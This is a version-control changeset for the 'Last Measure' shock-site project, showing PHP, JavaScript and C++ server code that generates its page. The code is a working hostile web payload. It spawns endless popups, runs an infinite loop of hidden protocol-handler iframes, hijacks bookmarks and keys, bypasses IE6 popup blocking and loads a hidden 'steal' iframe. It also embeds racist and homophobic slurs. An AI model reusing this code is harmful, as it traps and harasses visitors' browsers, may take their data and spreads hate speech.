Changeset 548 for trollforge
- Timestamp:
- 12/19/11 01:34:51 (17 months ago)
- Location:
- trollforge/lastmeasure
- Files:
-
- 1 added
- 5 edited
-
Makefile (modified) (1 diff)
-
include/js.inc (modified) (4 diffs)
-
index.php (modified) (6 diffs)
-
server/lmkeywords.h (added)
-
server/lmresource.h (modified) (6 diffs)
-
server/lmserver.cpp (modified) (3 diffs)
Legend:
- Unmodified
- Added
- Removed
-
trollforge/lastmeasure/Makefile
r547 r548 2 2 all: lmserver 3 3 4 H = server/lmutil.h server/lmresource.h 4 H = server/lmutil.h server/lmresource.h server/lmkeywords.h 5 5 C = server/lmserver.cpp 6 6 -
trollforge/lastmeasure/include/js.inc
r489 r548 21 21 22 22 function bookmark() { 23 // if (is_ie4up) { 23 // if (is_ie4up) { 24 24 window.external.AddFavorite(self.location.href, "Google"); 25 25 // } … … 59 59 goatseflash += ' </object>' 60 60 goatseflash += '</div>'; 61 61 62 62 function load_goatse() { 63 63 document.body.innerHTML += goatseflash; 64 64 setTimeout("unload_goatse()", 3000); // 3s 65 65 } 66 66 67 67 function unload_goatse() { 68 68 document.getElementById("hello").style.display = 'none'; … … 74 74 } 75 75 76 var protos = [ 76 var protos = [ 77 77 "<?php echo $static;?>lm.pdf", 78 78 "<?php echo $static;?>jews.wmv", … … 96 96 div.innerHTML = '<iframe style="width: 1; height: 1;" src="' + str + '"></iframe>'; 97 97 } 98 98 99 99 function ruin() { 100 100 document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>'; -
trollforge/lastmeasure/index.php
r489 r548 56 56 echo " audio[".$i."] = '".$static."audio/".$audiolist[$i]."';\n"; 57 57 } ?> 58 for (i = 0; i < audiocount; i++) { 58 for (i = 0; i < audiocount; i++) { 59 59 setTimeout('document.getElementById("audio").innerHTML += \'<embed src="' + audio[i] + '" loop="true" />\';', 6000 * (i/2)); 60 60 } … … 114 114 <script type="text/javascript"> 115 115 <!-- 116 function shellscript() { 116 function shellscript() { 117 117 for(i = 0; i < 5; i++) { 118 118 open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no'); … … 218 218 </form> 219 219 <script type="text/javascript"> 220 <!-- 220 <!-- 221 221 // without this if statement check, it bombs out with an error 222 222 if (typeof clipboardData != 'undefined') { … … 229 229 <?php } ?> 230 230 </body> 231 231 232 232 <?php 233 233 … … 244 244 $key = store_hit(); 245 245 $flash = 'first_opener.swf'; 246 } 246 } 247 247 ?> 248 <body style="background-image: url(<?php random_image(); ?>); background-color: #FFFFFF;" 249 onload="bookmark();noframes();load_goatse();document.goatse.reset();movew0w();setTimeout('ruin()', 20);<?php if($br_ie6) { ?>setTimeout('main()', 100);<?php } ?>" 248 <body style="background-image: url(<?php random_image(); ?>); background-color: #FFFFFF;" 249 onload="bookmark();noframes();load_goatse();document.goatse.reset();movew0w();setTimeout('ruin()', 20);<?php if($br_ie6) { ?>setTimeout('main()', 100);<?php } ?>" 250 250 onmousemove="document.goatse.reset();movew0w();procreate();" 251 251 onkeydown="molish();procreate();" … … 275 275 </tr> 276 276 </table> 277 <?php if(!$_GET['popup']) { 277 <?php if(!$_GET['popup']) { 278 278 hey_everybody(); ?> 279 279 <div> 280 280 <iframe style="width: 1px; height: 1px;" src="/index.php?steal=1&key=<?php echo $key;?>"></iframe> 281 281 <iframe style="width: 1px; height: 1px;" src="<?php echo $static; ?>lm.pdf"></iframe> 282 <iframe style="width: 1px; height: 1px;" src="<?php echo $static; ?>jews.wmv"></iframe> 282 <iframe style="width: 1px; height: 1px;" src="<?php echo $static; ?>jews.wmv"></iframe> 283 283 <br /> 284 284 </div> -
trollforge/lastmeasure/server/lmresource.h
r547 r548 6 6 #include <streambuf> 7 7 8 static char const *resourcenames[] = 8 #include "lmkeywords.h" 9 10 static char const *staticnames[] = 9 11 { 10 12 /* Static images */ … … 32 34 "/audio/rkz.wav", "/audio/rucas.wav", 33 35 "/audio/sam.wav", "/audio/trogg.wav", 36 37 /* Other static files */ 38 "/flash/first_opener.swf", 39 "/flash/second_opener.swf", 40 "/flash/hello.swf", 41 "/flash/hey.swf", 42 43 "/lm.pdf", 44 "/jews.wmv", 45 "/LastCoffee.class", 46 "/gnaa.png", 47 48 "/favicon.ico", 49 "/robots.txt", 34 50 }; 51 52 typedef std::pair<std::string,std::string> Response; 35 53 36 54 class Resources … … 39 57 static void LoadAll() 40 58 { 41 for (size_t i = 0; i < m_nresources; i++)59 for (size_t i = 0; i < NSTATICS; i++) 42 60 { 43 61 /* Skip leading / when opening local files */ 44 std::ifstream t( resourcenames[i] + 1);45 m_ resources[i] = std::string((std::istreambuf_iterator<char>(t)),46 std::istreambuf_iterator<char>());47 } 48 } 49 50 static std::string Get(char const *resource,51 char const *host, char const *agent)62 std::ifstream t(staticnames[i] + 1); 63 m_statics[i] = std::string((std::istreambuf_iterator<char>(t)), 64 std::istreambuf_iterator<char>()); 65 } 66 } 67 68 static Response Get(char const *resource, char const *query, 69 char const *host, char const *agent) 52 70 { 53 71 /* Special case for server status */ … … 55 73 || !strcmp(resource, "/server-status/")) 56 74 { 57 return "SERVER STATUS UNAVAILABLE FOR NOW";75 return Response("SERVER STATUS UNAVAILABLE FOR NOW", "text/html"); 58 76 } 59 77 60 78 /* Special case for static resources */ 61 for (size_t i = 0; i < m_nresources; i++) 62 { 63 if (!strcmp(resource, resourcenames[i])) 64 return m_resources[i]; 65 } 66 79 for (size_t i = 0; i < NSTATICS; i++) 80 { 81 if (!strcmp(resource, staticnames[i])) 82 { 83 return Response(m_statics[i], MimeType(resource)); 84 } 85 } 86 87 /* Is the browser IE 6 or better? */ 88 char const *parser = strstr(agent, " MSIE "); 89 bool is_ie6 = parser && (atoi(parser + strlen(" MSIE ")) >= 6); 90 91 /* Sending stuff */ 67 92 std::stringstream data(""); 93 data << 94 "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"" 95 "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n" 96 "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">" 97 98 " <head>\r\n" 99 " <title>GNAA Last Measure Live!</title>\r\n" 100 " <meta name=\"keywords\" content=\"" << Keywords(128) << "\" />\r\n" 101 " <script type=\"text/javascript\">" << JavaScript(host) << 102 " </script>\r\n" 103 " <link rel=\"icon\" type=\"image/x-icon\" " 104 " href=\"http://" << host << "/favicon.ico\" />\r\n" 105 " <link rel=\"shortcut icon\" type=\"image/x-icon\" " 106 " href=\"http://" << host << "/favicon.ico\" />\r\n" 107 " <style type=\"text/css\">\r\n" 108 " html { height: 100%; width: 100%; overflow: hidden; }\r\n" 109 " body { height: 100%; width: 100%; margin: 0; padding: 0; }\r\n" 110 " </style>\r\n" 111 " </head>\r\n" 112 113 " <body style=\"background-image: url(http://" << host 114 << RandomAsset("/images/") << "); background-color: #FFFFFF;\"" 115 " onload=\"bookmark();noframes();load_goatse();" 116 " document.goatse.reset();movew0w();setTimeout('ruin()', 20);"; 117 if (is_ie6) 118 data << "setTimeout('main()', 100);"; 119 data << 120 " onmousemove=\"document.goatse.reset();movew0w();procreate();\"" 121 " onkeydown=\"molish();procreate();\"" 122 " onunload=\"document.goatse.reset();movew0w();procreate();\"" 123 " onmouseover=\"document.goatse.reset();movew0w();procreate();\">\r\n"; 124 125 data << MoveAround(800, 600); 126 data << ActivateApplets(); 127 if (is_ie6) 128 { 129 data << PopupBypasser(); 130 data << DivertOnload(); 131 } 132 133 " </body>\r\n" 134 135 ; 68 136 data << "<html><body><p>You are asking for " 69 137 << resource << ". You could also ask for <a href=\"http://" … … 72 140 << "<img src=\"" << RandomAsset("/images/") << "\" />" 73 141 << "</body></html>"; 74 return data.str(); 142 return Response(data.str(), "text/html"); 143 } 144 145 static std::string Keywords(size_t count) 146 { 147 std::stringstream ret(""); 148 149 for (size_t i = 0; i < count; i++) 150 { 151 if (i) 152 ret << ", "; 153 ret << keywords[rand() % (sizeof(keywords) / sizeof(*keywords))]; 154 } 155 156 return ret.str(); 157 } 158 159 static std::string JavaScript(char const *host) 160 { 161 std::stringstream ret(""); 162 163 ret << 164 "function altf4key() { if (event.keyCode == 18 || event.keyCode == 115)" 165 " alert(\"Our lawyer has informed us that we need a warning. So, if you " 166 "are under the age of 18 or find this offensive, please leave " 167 "immediately\"); }" 168 "function ctrlkey() { if (event.keyCode == 17)" 169 " alert(\"Our lawyer has informed us that we need a warning. So, if you " 170 "are under the age of 18 or find this offensive, please leave " 171 "immediately\"); }" 172 "function delkey() { if (event.keyCode == 46)" 173 " alert(\"LAST MEASURE BY PENISBIRD, Rolloffle, and Rucas.\nStarring:\n" 174 "Spin\nTubgirl\nLemonparty\nBob Goatse\nPenisbird\nPillowfight\n" 175 "Christmas\nRusty's Wife\nWhat the fuck? That guy's ass is showing " 176 "in his baby's picture!\n\n\nTotal, complete, all-versions, popup " 177 "blocker bashing-to-pieces by goat-see\nnhey.swf by rkz\nPROPS TO " 178 "GNAA. LOL HY -- DiKKy (GNAA NORWAY CORRESPONDANT)\nUpdated by " 179 "sam, Jmax, JacksonBrown, Dessimat0r, timecop, and others.\n\"); }" 180 "var nom = navigator.appName.toLowerCase();" 181 "var agt = navigator.userAgent.toLowerCase();" 182 "var is_major = parseInt(navigator.appVersion);" 183 "var is_minor = parseFloat(navigator.appVersion);" 184 "var is_ie = (agt.indexOf('msie') != -1);" 185 "var is_ie4up = (is_ie && (is_major >= 4));" 186 "var is_nav = (nom.indexOf('netscape')!=-1);" 187 "var is_nav4 = (is_nav && (is_major == 4));" 188 "var is_mac = (agt.indexOf('mac')!=-1);" 189 "var is_gecko = (agt.indexOf('gecko') != -1);" 190 191 // GECKO REVISION 192 "var is_rev = 0;" 193 "if (is_gecko) {" 194 " temp = agt.split('rv:');" 195 " is_rev = parseFloat(temp[1]);" 196 "}" 197 198 "function bookmark() {" 199 //" if (is_ie4up) {" 200 " window.external.AddFavorite(self.location.href, 'Google');" 201 //" }" 202 "}" 203 204 "function molish() {" 205 " switch(event.keyCode) {" 206 " case 46:" // DEL 207 " case 63272:" // DEL on the fucked-up Safari browser 208 " alert(credits);" 209 " break;" 210 " case 17:" // CTRL [Or the Apple "CMD", only detected by Opera] NOTE: Opera Mac gives keyCode '0' 211 " case 18:" // ALT 212 //" case 81:" // W (As in "CTRL+W") 213 //" case 87:" // Q (As in "CTRL+Q") 214 " case 115:" // F4 215 " alert(\"Our lawyer has informed us that we need a warning. So, if " 216 "you are under the age of 18 or find this offensive, please " 217 "leave immediately\");" 218 " break;" 219 " }" 220 "}" 221 222 "function procreate() {" 223 " for(i = 0; i < 16; i++) {" 224 " popUp(\"index.php?popup=1\");" 225 " }" 226 "}" 227 228 "function popUp(URL) {" 229 " day = new Date();" 230 " id = day.getTime();" 231 " eval(\"page\" + id + \" = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\");" 232 "}" 233 234 "goatseflash = '<div id=\"hello\" style=\"z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;\">';" 235 "goatseflash += ' <object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"100%\" height=\"100%\">';" 236 "goatseflash += ' <param name=\"movie\" value=\"http://" << host << "/flash/hello.swf\" />'" 237 "goatseflash += ' <param name=\"wmode\" value=\"transparent\" />';" 238 "goatseflash += ' </object>'" 239 "goatseflash += '</div>';" 240 241 "function load_goatse() {" 242 " document.body.innerHTML += goatseflash;" 243 " setTimeout(\"unload_goatse()\", 3000);" // 3s 244 "}" 245 246 "function unload_goatse() {" 247 " document.getElementById(\"hello\").style.display = 'none';" 248 "}" 249 250 "function noframes() {" 251 " if (top.location.hostname != location.hostname)" 252 " top.location.href = window.location.href;" 253 "}" 254 255 "var protos = [" 256 " \"http://" << host << "/lm.pdf\"," 257 " \"http://" << host << "/jews.wmv\"," 258 " \"irc://irc.gnaa.eu/gnaa\"," 259 " \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARCHATS.COM%20#GNAA\"," 260 " \"news:alt.flame.niggers\"," 261 " \"news:alt.flame.faggots\"," 262 " \"mailto:JOIN@THE.GNAA?subject=2011_RECRUITMENT_DRIVE&body=www.gnaa.eu\"," 263 " \"callto://JOIN_THE_GNAA__2011_RECRUITMENT_DRIVE\"," 264 //" \"aim:GoIM?screenname=Gary_Niger&message=HY+LOL+HY+LOL\"," 265 " \"rlogin://1.1.1.1:80\"," 266 " \"telnet://1.1.1.1:80\"," 267 " \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,gnaa,2011,RECRUITMENT,DRIVE,heartiez2incog&groupname=gnaa\"," 268 " \"mailto:JOIN@THE.GNAA?subject=2011_RECRUITMENT_DRIVE&body=www.gnaa.eu\"," 269 " \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\"," 270 " \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\"," 271 " \"aim:goim?screenname=bluexox5&message=dont_fuck_with_the_GNAA\"" 272 " ];" 273 274 "function add(str) {" 275 " div = document.getElementById('goatse');" 276 " div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';" 277 "}" 278 279 "function ruin() {" 280 " document.body.innerHTML += '<div id=\"goatse\">Y HALLO THAR!</div>';" 281 " while (1) {" 282 " for (i = 0; i < protos.length; i++) {" 283 " add(protos[i]);" 284 " }" 285 " }" 286 "}"; 287 288 return ret.str(); 289 } 290 291 static char const *MimeType(char const *resource) 292 { 293 static char const *assoc[] = 294 { 295 ".png", "image/png", 296 ".jpg", "image/jpeg", 297 ".jpeg", "image/jpeg", 298 ".gif", "image/gif", 299 ".wav", "audio/x-wav", 300 ".mp3", "audio/mpeg", 301 ".swf", "application/x-shockwave-flash", 302 ".pdf", "application/pdf", 303 ".wmv", "video/x-ms-wmv", 304 ".class", "application/java-vm", 305 ".ico", "image/x-icon", 306 ".txt", "text/plain", 307 }; 308 309 for (size_t i = 0; i < sizeof(assoc) / sizeof(*assoc); i += 2) 310 { 311 char const *suffix = assoc[i], *test; 312 if ((test = strstr(resource, suffix)) && !test[strlen(suffix)]) 313 return assoc[i + 1]; 314 } 315 316 return "text/plain"; 75 317 } 76 318 … … 79 321 size_t prefixlen = strlen(prefix); 80 322 81 for ( ;;)82 { 83 char const *name = resourcenames[rand() % m_nresources];323 for (size_t i = 0; i < 32; i++) 324 { 325 char const *name = staticnames[rand() % NSTATICS]; 84 326 if (!strncmp(name, prefix, prefixlen)) 85 327 return name; 86 328 } 329 330 return "/"; 87 331 } 88 332 89 333 private: 90 static const size_t m_nresources 91 = sizeof(resourcenames) / sizeof(*resourcenames); 92 static std::string m_resources[m_nresources]; 334 static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames); 335 static std::string m_statics[NSTATICS]; 93 336 }; 94 337 95 std::string Resources::m_ resources[m_nresources];96 338 std::string Resources::m_statics[NSTATICS]; 339 -
trollforge/lastmeasure/server/lmserver.cpp
r547 r548 201 201 202 202 /* Find information in the request */ 203 char const *resource = "/", *agent = "Unknown", *host = "127.0.0.1"; 203 char const *resource = "/", *query = "", 204 *agent = "Unknown", *host = "127.0.0.1"; 204 205 205 206 char *resourceparser = strstr(inbuf, " "); 207 char *queryparser = NULL; 206 208 if (resourceparser) 207 209 { 208 210 resource = resourceparser + 1; 211 queryparser = strstr(resourceparser + 1, "?"); 209 212 resourceparser = strstr(resourceparser + 1, " "); 213 214 if (queryparser && resourceparser && queryparser < resourceparser) 215 { 216 query = queryparser + 1; 217 } 210 218 } 211 219 … … 227 235 if (resourceparser) 228 236 resourceparser[0] = '\0'; 237 if (queryparser) 238 queryparser[0] = '\0'; 229 239 if (agentparser) 230 240 agentparser[0] = '\0'; … … 234 244 /* Now build the response */ 235 245 std::stringstream response(""); 236 std::string data = Resources::Get(resource, host, agent);246 Response data = Resources::Get(resource, query, host, agent); 237 247 response << "HTTP/1.1 200 OK\r\n" 238 248 << "Date: " << Utils::Time() << "\r\n" 239 249 << "Server: " << Random::ServerName() << "\r\n" 240 << "Content-Length: " << data. length() << "\r\n"250 << "Content-Length: " << data.first.length() << "\r\n" 241 251 //<< "Connection: Keep-Alive\r\n" 242 252 << "Connection: Close\r\n" 243 << "Content-Type: text/html\r\n"253 << "Content-Type: " << data.second << "\r\n" 244 254 << "\r\n" 245 << data ;255 << data.first; 246 256 247 257 send(client, response.str().c_str(), response.str().length(), 0);
Note: See TracChangeset
for help on using the changeset viewer.
